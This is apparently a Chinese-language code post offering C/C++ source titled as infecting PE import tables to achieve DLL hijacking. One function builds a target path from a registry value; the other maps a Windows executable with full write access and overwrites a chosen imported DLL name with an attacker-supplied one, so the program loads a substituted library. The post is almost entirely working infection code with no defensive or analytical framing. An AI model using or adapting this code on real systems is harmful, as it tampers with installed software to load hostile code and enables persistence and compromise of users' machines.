感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码,感染 PE 导入表 动态链接库 劫持。

/************************************************************************/
/* 功能:通过注册表构造目标文件路径
/*																		
/* 返回:无																
/*																		
/* 名称:MakePath														
/*																		
/* 参一:注册表子键													
/*																		
/* 参二:键值												
/*																		
/* 参三:目标文件名称
/*																		
/* 参四:缓存												
/************************************************************************/

static void MakePath(LPCSTR sub,LPCSTR option,LPBYTE buffer,const char* name)
{
	HKEY  key;
	DWORD length=MAX_PATH;

	__try
	{
		if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sub,0,1,&key)) __leave;

		if (RegQueryValueEx(key,option,0,0,buffer,&length)) __leave;

		if (strcat_s(buffer,MAX_PATH,name)) __leave;
	}
	__finally
	{
		if (key) RegCloseKey(key);
	}
	return;
}
/************************************************************************/
/* 功能:感染PE文件导入表成员实现动态链接库劫持
/*																		
/* 返回:无																
/*																		
/* 名称:FileInfect														
/*																		
/* 参一:目标文件路径													
/*																		
/* 参二:导入表成员名称												
/*																		
/* 参三:劫持动态链接库名称
/************************************************************************/

static void FileInfect(LPCSTR path,const char* name,const char* replace)
{
	DWORD					  offset;
	LPVOID					  buffer;	
	HANDLE					  file;
	HANDLE					  mapping;
	LPBYTE					  module;
	PIMAGE_DOS_HEADER		  dos;
	PIMAGE_NT_HEADERS		  nt;
	PIMAGE_IMPORT_DESCRIPTOR  import;

	__try 
	{
		if ((file=CreateFile(path,FILE_ALL_ACCESS,0,0,3,0x80,0))==(void*)-1) __leave;

		if (!(mapping=CreateFileMapping(file,0,PAGE_READWRITE,0,0,0))) __leave;

		if (!(module=MapViewOfFile(mapping,FILE_MAP_ALL_ACCESS,0,0,0))) __leave;

		dos=(PIMAGE_DOS_HEADER)module;

		if (dos->e_magic!=IMAGE_DOS_SIGNATURE) __leave;

		nt=(PIMAGE_NT_HEADERS)(module+dos->e_lfanew);
		
		if (nt->Signature!=IMAGE_NT_SIGNATURE) __leave;

		offset=nt->OptionalHeader.DataDirectory[1].VirtualAddress;

		import=(PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(nt,module,offset,0);

		while(import->FirstThunk)   
		{   
			buffer=ImageRvaToVa(nt,module,import->Name,0);

			if (strcmp(buffer,name)==0)
			{
				strcpy_s(buffer,strlen(replace)+1,replace);

				break;
			}
			import++;   
		}
	}
	__finally
	{
		if (module)	 UnmapViewOfFile(module);

		if (mapping) CloseHandle(mapping);

		if (file)	 CloseHandle(file);
	}
	return;
}